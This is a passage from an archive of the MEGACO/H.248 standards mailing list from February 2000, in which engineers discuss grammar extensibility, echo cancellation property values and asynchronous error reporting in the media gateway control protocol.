	for ; Mon, 14 Feb 2000 11:11:44 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.CC4F7CE0@standards.nortelnetworks.com>; Mon, 14 Feb 2000 11:08:18 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 46158 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 14 Feb 2000 11:07:51 -0500
Received: from dogwood.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.BC0F06C0@standards.nortelnetworks.com>; Mon, 14 Feb 2000 11:07:51
          -0500
Received: from localhost (chsharp@localhost) by dogwood.cisco.com (8.8.6
          (PHNE_14041)/CISCO.SERVER.1.2) with SMTP id LAA25114 for
          ; Mon, 14 Feb 2000 11:10:20
          -0500 (EST)
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-ID:  
Date:         Mon, 14 Feb 2000 11:10:20 -0500
Reply-To: "Hascall \"Chip\" Sharp" 
Sender: "Media Gateway Control (megaco)"
              
From: "Hascall \"Chip\" Sharp" 
Subject:      Extensibility of Commands and Descriptors
To: MEGACO@STANDARDS.NORTELNETWORKS.COM


Immediate feedback is appreciated.

SG116 is currently working on final text for H.248.
However, there is concern (mainly by me) about how
H.248 will be extended in v2 and if it can be extended
easily.

In particular, if megaco or SG16 wants to add a new:
        Command
        Descriptor
        flag or action in a descriptor

And new procedures to use them, can they be added
to v2 in a backward compatible way.  I believe
extensions to parameters has been handled in the packages
definition.

For example, if we find we really do need an Accumulate
action in the EventsDescriptor or a "Process" algorithm, can
the syntax be extended in a backward compatible way.

I think it can, but due to lack of sleep I can't be sure.
I would apprciate if some of you can read through the ABNF
and ASN.1 and make sure the syntax is extendable without major
pain to the parsers.

Thanks,
Chip
-------------------------------------------------------
Chip Sharp                      voice: +1 (919) 472-3121
Consulting Engineer             email:  chsharp@cisco.com
Cisco Systems                   http://www.cisco.com/
---------------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb 14 11:46:58 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA16784
	for ; Mon, 14 Feb 2000 11:46:47 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.B3BBBB80@standards.nortelnetworks.com>; Mon, 14 Feb 2000 11:43:25 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 46223 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 14 Feb 2000 11:41:26 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.0763D170@standards.nortelnetworks.com>; Mon, 14 Feb 2000 11:31:26
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id LAA15776; Mon, 14 Feb
          2000 11:34:02 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id LAA00609; Mon, 14 Feb
          2000 11:34:03 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1WCL8S3C>; Mon, 14 Feb 2000 11:30:33 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF208955@whq-msgusr-02.fore.com>
Date:         Mon, 14 Feb 2000 11:34:02 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Extensibility of Commands and Descriptors
X-To:         "Hascall \"Chip\" Sharp" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I'm not an ASN.1 hacker, but I've seen my fair share of
ABNF.  I've also had a decent night's sleep.

1. Adding more flags to EventDescriptor, like KeepActive,
is possible without any changes.  The production:
eventParameter       = ( embedOrKeepActive / eventDM / eventStream
                        / eventOther )
would be extended to add additional flags.  Note that the
embedOrKeepActive rule would probably not change unless it was
intended that you couldn't have the flag with embedded events/signals.

There are some descriptors where adding a flag may not be
quite as straigtforward, but it could be done in a backwards
compatible way.

2. Adding a new descriptor is easy; the productions for
each of the request/reply rules would be extended to add the
descriptor

3. Adding a new command is easy, the commandRequest and commandRelys
productions would be extended.

Brian

> -----Original Message-----
> From: Hascall "Chip" Sharp [mailto:chsharp@cisco.com]
> Sent: Monday, February 14, 2000 11:10 AM
> To: MEGACO@standards.nortelnetworks.com
> Subject: Extensibility of Commands and Descriptors
>
>
>
> Immediate feedback is appreciated.
>
> SG116 is currently working on final text for H.248.
> However, there is concern (mainly by me) about how
> H.248 will be extended in v2 and if it can be extended
> easily.
>
> In particular, if megaco or SG16 wants to add a new:
>         Command
>         Descriptor
>         flag or action in a descriptor
>
> And new procedures to use them, can they be added
> to v2 in a backward compatible way.  I believe
> extensions to parameters has been handled in the packages
> definition.
>
> For example, if we find we really do need an Accumulate
> action in the EventsDescriptor or a "Process" algorithm, can
> the syntax be extended in a backward compatible way.
>
> I think it can, but due to lack of sleep I can't be sure.
> I would apprciate if some of you can read through the ABNF
> and ASN.1 and make sure the syntax is extendable without major
> pain to the parsers.
>
> Thanks,
> Chip
> -------------------------------------------------------
> Chip Sharp                      voice: +1 (919) 472-3121
> Consulting Engineer             email:  chsharp@cisco.com
> Cisco Systems                   http://www.cisco.com/
> ---------------------------------------------------------
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb 14 11:59:05 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA17319
	for ; Mon, 14 Feb 2000 11:59:04 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.64CC4BA0@standards.nortelnetworks.com>; Mon, 14 Feb 2000 11:55:31 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 46320 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 14 Feb 2000 11:53:50 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.28C63CB0@standards.nortelnetworks.com>; Mon, 14 Feb 2000
          11:53:50 -0500
Received: from zmers013 by smtprch1.nortel.com; Mon, 14 Feb 2000 10:56:18 -0600
Received: from zcard00m.ca.nortel.com (actually zcard00m) by zmers013; Mon, 14
          Feb 2000 11:56:06 -0500
Received: from zcard00f.ca.nortel.com ([47.129.30.8]) by zcard00m.ca.nortel.com
          with SMTP (Microsoft Exchange Internet Mail Service Version
          5.5.2650.21) id 1SYCP0DJ; Mon, 14 Feb 2000 11:56:05 -0500
Received: from americasm01.nt.com (wcars052.ca.nortel.com [47.128.210.104]) by
          zcard00f.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2448.0) id DMXAJZTP; Mon, 14 Feb 2000 11:56:06
          -0500
X-Mailer: Mozilla 4.6 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
References: 
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A83414.966FB36E@americasm01.nt.com>
Date:         Mon, 14 Feb 2000 11:57:56 -0500
Reply-To: Abdallah Rayhan 
Sender: "Media Gateway Control (megaco)"
              
From: Abdallah Rayhan 
Organization: Nortel Networks
Subject:      Re: Extensibility of Commands and Descriptors
X-To:         Hascall Chip Sharp 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

There is difference by parsing and functional extensibility of the
protocol.
Parsing extensibility, IMO, means that can v1 parser parse v2 code ? or
vice versa ! The answer is probably NO unless there is a huge common
factor existing between the two and a parser is rewritten to parse v1
and v2.
In other words, this is an implementation issue that is beyond the scope

of the protocol.

Functional extensibility falls in our domain only if we are doing v2
which we
don't. However, the ABNF supports various flexible constructs that can
be easily extended to accommodate new commands and descriptors once
the new functionality is defined. How this new functionality would
interact
with earlier versions of the protocol is a V2 issue.

To summarize, can we extend the protocol ? Definitely we can through
ABNF additions, remember that new functionality will not change the
syntactical construction of the grammar but add new procedures, commands

and descriptors. How would that impact parsing and functional
extensibility
is beyond our mandate at this time, IMO.

Abdallah Rayhan



Hascall Chip Sharp wrote:

> Immediate feedback is appreciated.
>
> SG116 is currently working on final text for H.248.
> However, there is concern (mainly by me) about how
> H.248 will be extended in v2 and if it can be extended
> easily.
>
> In particular, if megaco or SG16 wants to add a new:
>         Command
>         Descriptor
>         flag or action in a descriptor
>
> And new procedures to use them, can they be added
> to v2 in a backward compatible way.  I believe
> extensions to parameters has been handled in the packages
> definition.
>
> For example, if we find we really do need an Accumulate
> action in the EventsDescriptor or a "Process" algorithm, can
> the syntax be extended in a backward compatible way.
>
> I think it can, but due to lack of sleep I can't be sure.
> I would apprciate if some of you can read through the ABNF
> and ASN.1 and make sure the syntax is extendable without major
> pain to the parsers.
>
> Thanks,
> Chip
> -------------------------------------------------------
> Chip Sharp                      voice: +1 (919) 472-3121
> Consulting Engineer             email:  chsharp@cisco.com
> Cisco Systems                  http://www.cisco.com/
> ---------------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb 14 12:12:13 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA17882
	for ; Mon, 14 Feb 2000 12:12:13 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.3A938270@standards.nortelnetworks.com>; Mon, 14 Feb 2000 12:08:39 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 46336 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 14 Feb 2000 12:08:01 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.BE099A10@standards.nortelnetworks.com>; Mon, 14 Feb 2000
          11:58:01 -0500
Received: from zmers013 by smtprch1.nortel.com; Mon, 14 Feb 2000 10:59:01 -0600
Received: from zcard015.ca.nortel.com (actually zcard015) by zmers013; Mon, 14
          Feb 2000 11:58:45 -0500
Received: from zrtpd00z.us.nortel.com ([47.140.224.110]) by
          zcard015.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2650.21) id 15YNGR4L; Mon, 14 Feb 2000 11:58:45
          -0500
Received: from nortelnetworks.com (PMERY0H8 [47.190.16.181]) by
          zrtpd00z.us.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2650.21) id 1D90CVFS; Mon, 14 Feb 2000 11:58:43
          -0500
X-Sybari-Space: 00000000 00000000 00000000
X-Mailer: Mozilla 4.5 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <61891BA043DED21180920090273F17385EDA66@TNINT06>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A834AC.408D6998@nortelnetworks.com>
Date:         Mon, 14 Feb 2000 12:00:28 -0500
Reply-To: Michael Brown 
Sender: "Media Gateway Control (megaco)"
              
From: Michael Brown 
Organization: Nortel Networks
Subject:      Re: E.13.1 echo cancellation
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

There have been discussions here in Geneva at the SG16 meeting regarding EC and
the following is consistent with those discussions. This reflects the basic EC
behavior. There is also a proposal to create another (future) package which
would allow for very specific control of the parameters for EC which is
envisioned to be used for applications such as offboard EC functions. The SG for
question 9 of SG11 has been engaged to consider and develop this package.

Being a relative neophyte in EC, I am not certain, but I believe that this is
reasonable and appropriate.

Michael Brown

Roy Spitzer wrote:

> Nancy,
>
> I believe that there is confusion here.  Each endpoint has only one echo
> control protocol resident.  That echo control protocol may be turned on or
> off.  In addition there is a common feature of automatic echo control
> disable which allows the echo control protocol to be turned off by tones
> described in the associated standard for that echo control protocol.  This
> is automatic echo control disable can be turned on or off, but it is a
> separate parameter.
>
> There are other echo control parameters that define the filtering spectrum
> used by the echo cancellation protocol.  These parameters are not described
> by the H.248 package and tend to be vendor specific.
>
> Regards,
> Roy
>
> Roy Spitzer                              Telogy Networks
> Phone: 301-515-6531                20250 Century Blvd.
> FAX:    301-515-7954                Germantown, MD 20874
> email:  rspiter@telogy.com
>
> -----Original Message-----
> From: Nancy-M Greene [mailto:ngreene@NORTELNETWORKS.COM]
> Sent: Sunday, February 13, 2000 9:44 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: E.13.1 echo cancellation
>
> I would like ec to have values "on" "off" and "g165". "on" means turn on
> echo cancellation and don't turn it off no matter what tones you see, and
> "g165" means turn on echo cancellation, but turn it off if you see tones
> such as those specified in G.165/G.168.
>
> This is what I have already proposed. I also proposed  the "g164" option. If
> no one sees a need for it, then that one can be removed.
>
> Nancy
> --------------------------------------------------------------------------
> Nancy M. Greene
> Internet & Service Provider Networks, Nortel Networks
> T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com
>
>         ----------
> From:   Chip Sharp[SMTP:chsharp@CISCO.COM]
> Sent:   Saturday, February 12, 2000 5:49 PM
> To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:        Re: E.13.1 echo cancellation
>
>         At 02:41 PM 2/9/00 -0600, Nancy-M Greene wrote:
>
>         >Hi Roy,
> >G.165/G.168 is one option, and G.164 is a second option (or you choose to
> >simply put echo cancellation "on", or you turn it off with "off"), but you
> >never have more than one of these options. G.164 is there as an "older
> >version" of echo cancellation, for backwards compatible reasons. We could
> >change the text explaining ec to be as you say, echo cancellation/echo
> >suppression, but I don't know whether it is worth it.
>
>         I don't know why anyone would build a MG with a G.164 echo
> suppressor.
> G.165 has been out for ages.
> My vote is to have ec equal ON or OFF and provide text that states that
> this parameter is used to control echo cancellers and older echo
> suppressors.  Or better yet, call it echo control.  It looks like you want
> a way to turn on echo control and then let it be disabled in-band.  It
> would then need a third option of STAYON.
>
>         >Nancy
> >-------
> >Nancy M. Greene
> >Internet & Service Provider Networks, Nortel Networks
> >T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com
> >----------  From:   Roy
> >Spitzer[SMTP:rspitzer@TELOGY.COM]  Sent:   Wednesday, February 09, 2000
> >2:11 PM  To:     MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:        Re:
> >E.13.1 echo cancellation
> >
> >Nancy,
> >
> >There seems to be a terminology problem here.  G.165 and G.168 are
> >echo  cancellation algorithms.  G.164 is an echo suppressor algorithm.  In
> >general  echo cancellators are better than echo suppressors.  Only older
> >style  equipment uses echo suppressors and it only works well for half
> >duplex  communications.  If ec were defined as echo cancellation/echo
> >suppression,  the text is correct.  There does not appear to be an
> >application where echo  suppression and echo cancellation would be
> >simultaneously active.
> >
> >Regards,  Roy
> >
> >Roy Spitzer                              Telogy Networks  Phone:
> >301-515-6531                20250 Century
> >Blvd.  FAX:    301-515-7954                Germantown, MD
> >20874  email:  rspiter@telogy.com
> >
> >-----Original Message-----  From: Nancy-M Greene
> >[< mailto:ngreene@NORTELNETWORKS.COM  >
> mailto:ngreene@NORTELNETWORKS.COM  ]
> >Sent: Thursday, February 03, 2000 10:53 AM  To:
> >MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject: E.13.1 echo cancellation
> >
> >
> >
> >Errata in v14 E.13.1:  Instead of just allowing Echo Cancellation to
> >be  "on", or "off", we need to  allow these possibilities:
> >
> >Permanently enabled: "on"  Permanently disabled: "off"  Enabled but
> >conformant to G.165/G.168: "g165"  Enabled but conformant to G.164: "g164"
> >
> >Default is "g165".
> >
> >Here is the text to be changed in E.13.1 (in blue, if you see it):
> >
> >E.13.1  Properties  Echo Cancellation
> >
> >         PropertyID: ec (0x0008)  By default, the telephony gateways
> > always perform echo cancellation  according to  G.165/G.168. However, it
> > is necessary, for some calls, to turn off these  operations.  Type:
> > enumerated  Possible Values:
> >
> >         "on" (when the echo cancellation is permanently enabled and
> > will  disregard any  incoming tones)  "g165" (when ec is according to
> > G.165/G.168: ec is on, but will turn  itself off when it sees a 2100Hz
> > tone with phase reversal (i.e. a CED fax  tone, or an  ANS modem
> > tone)  "g164" (when ec is according to G.164)  "off" (when it is turned
> > off.)  The default is "g165".
> >
> >         Defined In: LocalControlDescriptor          Characteristics:
> > read/write
> >
> >Nancy
> >
> >--------------------------------------------------------------------------
>  > Nancy M. Greene  Internet & Service Provider Networks, Nortel
> >Networks  T:514-271-7221 (internal:ESN853-1077)
> E:ngreene@nortelnetworks.com
>
>         Support NetAid!  http://www.netaid.org 
> --------------------------------------------------
> Chip Sharp                 Consulting Engineering
> Cisco Systems              Telco Bio-region
> Reality - Love it or Leave it.
> --------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb 14 14:36:29 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA22018
	for ; Mon, 14 Feb 2000 14:36:29 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.6DFC9520@standards.nortelnetworks.com>; Mon, 14 Feb 2000 14:33:15 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 46800 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 14 Feb 2000 14:32:09 -0500
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP
          for Windows NT v1.1a) with SMTP id
          <0.E0ACDA00@standards.nortelnetworks.com>; Mon, 14 Feb 2000 14:22:09
          -0500
Message-ID:  
Date:         Mon, 14 Feb 2000 14:20:44 -0500
Reply-To: Jerry Skene 
Sender: "Media Gateway Control (megaco)"
              
From: Jerry Skene 
Subject:      Re: E.13.1 echo cancellation
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I may be able to clarify a few issues regarding echo canceller functionality and control.


A new ITU-T Recommendation, G.799.1, is being developed by Study Group 15, Question 21,(of which I am the Rapporteur)  on
media gateways (MG) for VOIP applications. This Recommendation states that G.168 echo cancellers are to be used on all VOIP
calls.

Recommendation G.177, TRANSMISSION PLANNING FOR VOICEBAND SERVICES OVER HYBRID INTERNET/PSTN
CONNECTIONS, also recommends the use of G.168 cancellers on such calls.  G.168 is an improved version of G.165. More
information may be found at:    http://www.coherent.com/tech/g_itu.html.

G.168 cancellers can be disabled by means of in-band tones generated by modems and fax machines. An echo suppressor (not
used much anymore) can be disabled by a 2100Hz tone, whereas an echo canceller requires a 2100Hz tone with periodic phase
reversals. Canceller disable tones should now be referred to as  "G.168 disable tones".

It is not advisable to configure an echo canceller to be permanently on, even in the presence of canceller disable tone, as there
may be voiceband data traffic from modems or fax machines on the circuit. These devices  will not operate properly if the
canceller remains on. In fact, G.168 compliant cancellers cannot be configured to ignore disable tones.

It is sometimes necessary to externally disable a canceller so that the channel can pass bit-transparent data. ITU-T
Recommendation Q.55 has been released recently, that provides such a control channel to disable echo cancellers. The new
VOIP gateway recommendation G.799.1, recommends the use of Q.55 to control external echo cancellers associated with VOIP
gateways. Q.55 was developed by Question 9, Study Group 11 ( I was the editor), and Question 9  is proposing to develop an
H.248 package to carry the necessary information to control echo cancellers and other signal processing equipment supported by
Q.55. The media gateway controller (MGC) should include Q.115 echo control logic, that allows the MGC to generate the
appropriate EC control package. The MGC then sends this to the MG via H.248. If the MG contains internal ECs, these are then
enabled/disabled directly. If the MG does not contain integrated ECs but rather is associated with ECs on the individual E1/T1
trunks feeding the MG, the MG controls these by means of Q.55. Mapping between H.248 packages and Q.55 protocol data units
is done in the MG, according to the mapping protocol beign developed in G.799.1.

Echo canceller commands defined by Q.55 include: EC ON, EC OFF, and NLP ON, NLP OFF. The NLP, or Non Linear Processor,
is a component of an EC that attentuates residual echo. For some applications it may be desirable to turn only the NLP off, and
leave the canceller on.

I hope this clarifies a few things regarding echo cancellers.

Jerry Skene                    |  Tellabs, Inc.
Director,                         |  45085 University Drive
International Standards |  Ashburn, VA 20147.2745
tel:+1 703 724-7302      |  URL: www.tellabs.com
fax: +1 703 724-7202    |  email:jerry.skene@tellabs.com


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb 14 18:06:49 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA26071
	for ; Mon, 14 Feb 2000 18:06:49 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.CBC58000@standards.nortelnetworks.com>; Mon, 14 Feb 2000 18:03:28 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 46964 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 14 Feb 2000 18:02:11 -0500
Received: from mtiwmhc08.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.9DCADEC0@standards.nortelnetworks.com>; Mon, 14 Feb 2000 18:02:11
          -0500
Received: from worldnet.att.net ([12.78.105.197]) by mtiwmhc08.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000214230451.MGBI1659@worldnet.att.net>; Mon, 14 Feb 2000 23:04:51
          +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
Content-Type: multipart/alternative;
              boundary="------------AA82411B78E6B668E8162DFE"
Message-ID:  <38A7E1E9.94B4BEDA@worldnet.att.net>
Date:         Mon, 14 Feb 2000 06:07:21 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Errors and Error Codes
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------AA82411B78E6B668E8162DFE
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi Tom

Thanks for the clarifications - now I have some comments below.


Tom-PT Taylor wrote:

>
>
> Replies below.
>
>      -----Original Message-----
>      From:   Flemming Andreasen [SMTP:fandreasen@worldnet.att.net]
>      Sent:   Friday, February 11, 2000 9:29 AM
>      To:     Taylor, Tom-PT [CAR:B904:EXCH]
>      Cc:     MEGACO@STANDARDS.NORTELNETWORKS.COM
>      Subject:        Re: Errors and Error Codes
>
>
>      Tom-PT Taylor wrote:
>
>      > This E-mail covers several topics dealing with error reporting.
>
>      >
>      > A. Asynchronous Error Reporting
>      > ========================
>      >
>      > We have discussed, here in Geneva, a mechanism for generating
>      spontaneous
>      > notifications of error conditions (i.e. use of the "cause"
>      event in the
>      > generic package).  The suggested mechanism is this:
>      >
>      >   -- we reserve a block of event request-IDs (e.g. 0-15) for
>      assignment to
>      > classes of event the MGC will always want enabled (or
>      alternatively can
>      > enable or disable using a Root property).  As an example of
>      use, we assign
>      > requestID 0 to spontaneous error reports.  This way it won't be
>      necessary to
>      > include the cause event in every Event Descriptor
>      >
>
>      I agree with the goal, but I'm not sure I agree with the solution
>      (could be I
>      just misinterpreted it), so let me ask a couple of questions for
>      clarification:
>
>      Does this mean, that if I play a signal that succeeds, I will get
>      a completion
>      event through the normal channels and with a RequestID matching
>      my request, but
>      if it fails, it will come through this other channel using one of
>      these special
>      RequestIDs ?
>      [[TomT]]
>      That's correct.  Mind, if the completion event is left as it is
>      now defined in -megaco-protocol-06, you will ALSO get a signal
>      completion event with RequestID matching the request and
>      termination method "FL".  This can be changed -- it was due to be
>      taken out in the wake of discussion on the list indicating a
>      preference for using the Cause event.
>
I would rather leave it the way it is as the above alternative is a
recipe for race conditions. If I understand correctly, you are simply
trying to optimize the flows by not requiring certain events to always
be included in the EventsDescriptor. I can't think of a reason why you
would want to report these differently than all other events. Seems like
a recipe for race conditions to me.


>
>      What about ordering ? Will I be guaranteed to receive the error
>      before any other
>      subsequent events on the termination ?
>      [[TomT]]
>      Somewhere -- presumably in the Events section -- we should state
>      that the MG must report events in the order in which they occur.
>      Does this meet your requirement?
>
Yes it does, but if you start reporting through different channels with
a couple of reserved and "special" RequestIDs then you start
complicating things. Ensuring ordered delivery here seems unnecessarily
complicated and could easily cause a serious synchronization penalty
which you would not have to deal with if you used the normal event
reporting channels.
It seems like you are effectively implementing SNMP traps although it's
not clear how the MGC can actually control which of these "persistent"
events it actually wants to hear about.


>
>
>      >
>      >   -- rather than making errorDescriptor an optional component
>      of the Notify
>      > command (as our ABNF now states), we make it a parameter of the
>      cause event.
>      >
>      >   -- this mechanism allows the inclusion of some error codes in
>      our list in
>      > section 7.3 which otherwise shouldn't be there because they
>      would not result
>      > from transaction processing.  One example is 518 "event buffer
>      full".
>      >
>      >
>
>      <>
>
>      -- Flemming
>
>      --
>      ---------------------------------------
>      Flemming Andreasen
>      Cisco Systems
>      ---------------------------------------
>
>

-- Flemming

---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------


--------------AA82411B78E6B668E8162DFE
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit



Hi Tom

Thanks for the clarifications - now I have some comments below.

 

Tom-PT Taylor wrote:

 

Replies below.

    -----Original Message-----

    From:  
Flemming Andreasen [SMTP:fandreasen@worldnet.att.net]

    Sent:  
Friday, February 11, 2000 9:29 AM

    To:    
Taylor, Tom-PT [CAR:B904:EXCH]

    Cc:    
MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:       
Re: Errors and Error Codes

     

    Tom-PT Taylor wrote:

    > This E-mail covers several topics
dealing with error reporting.

    >

    > A. Asynchronous Error Reporting

    > ========================

    >

    > We have discussed, here in Geneva,
a mechanism for generating spontaneous

    > notifications of error conditions
(i.e. use of the "cause" event in the

    > generic package).  The suggested
mechanism is this:

    >

    >   -- we reserve a block
of event request-IDs (e.g. 0-15) for assignment to

    > classes of event the MGC will always
want enabled (or alternatively can

    > enable or disable using a Root property). 
As an example of use, we assign

    > requestID 0 to spontaneous error
reports.  This way it won't be necessary to

    > include the cause event in every
Event Descriptor

    >

    I agree with the goal, but I'm not
sure I agree with the solution (could be I

    just misinterpreted it), so let me
ask a couple of questions for clarification:

    Does this mean, that if I play a signal
that succeeds, I will get a completion

    event through the normal channels
and with a RequestID matching my request, but

    if it fails, it will come through
this other channel using one of these special

    RequestIDs ?

    [[TomT]]

    That's correct. 
Mind, if the completion event is left as it is now defined in -megaco-protocol-06,
you will ALSO get a signal completion event with RequestID matching the
request and termination method "FL".  This can be changed -- it was
due to be taken out in the wake of discussion on the list indicating a
preference for using the Cause event.



I would rather leave it the way it is as the above alternative is a recipe
for race conditions. If I understand correctly, you are simply trying to
optimize the flows by not requiring certain events to always be included
in the EventsDescriptor. I can't think of a reason why you would want to
report these differently than all other events. Seems like a recipe for
race conditions to me.

 



     

    What about ordering ? Will I be guaranteed
to receive the error before any other

    subsequent events on the termination
?

    [[TomT]]

    Somewhere --
presumably in the Events section -- we should state that the MG must report
events in the order in which they occur.  Does this meet your requirement?



Yes it does, but if you start reporting through different channels with
a couple of reserved and "special" RequestIDs then you start complicating
things. Ensuring ordered delivery here seems unnecessarily complicated
and could easily cause a serious synchronization penalty which you would
not have to deal with if you used the normal event reporting channels.

It seems like you are effectively implementing SNMP traps although
it's not clear how the MGC can actually control which of these "persistent"
events it actually wants to hear about.

 



     

    >

    >   -- rather than making
errorDescriptor an optional component of the Notify

    > command (as our ABNF now states),
we make it a parameter of the cause event.

    >

    >   -- this mechanism allows
the inclusion of some error codes in our list in

    > section 7.3 which otherwise shouldn't
be there because they would not result

    > from transaction processing. 
One example is 518 "event buffer full".

    >

    >

    <<stuff deleted>>

    -- Flemming

    --

    ---------------------------------------

    Flemming Andreasen

    Cisco Systems

    ---------------------------------------

     






-- Flemming

---------------------------------------

Flemming Andreasen

Cisco Systems

---------------------------------------

 

--------------AA82411B78E6B668E8162DFE--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb 14 19:08:05 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA27055
	for ; Mon, 14 Feb 2000 19:08:05 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.59CDFFA0@standards.nortelnetworks.com>; Mon, 14 Feb 2000 19:04:42 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 47130 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 14 Feb 2000 19:03:40 -0500
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
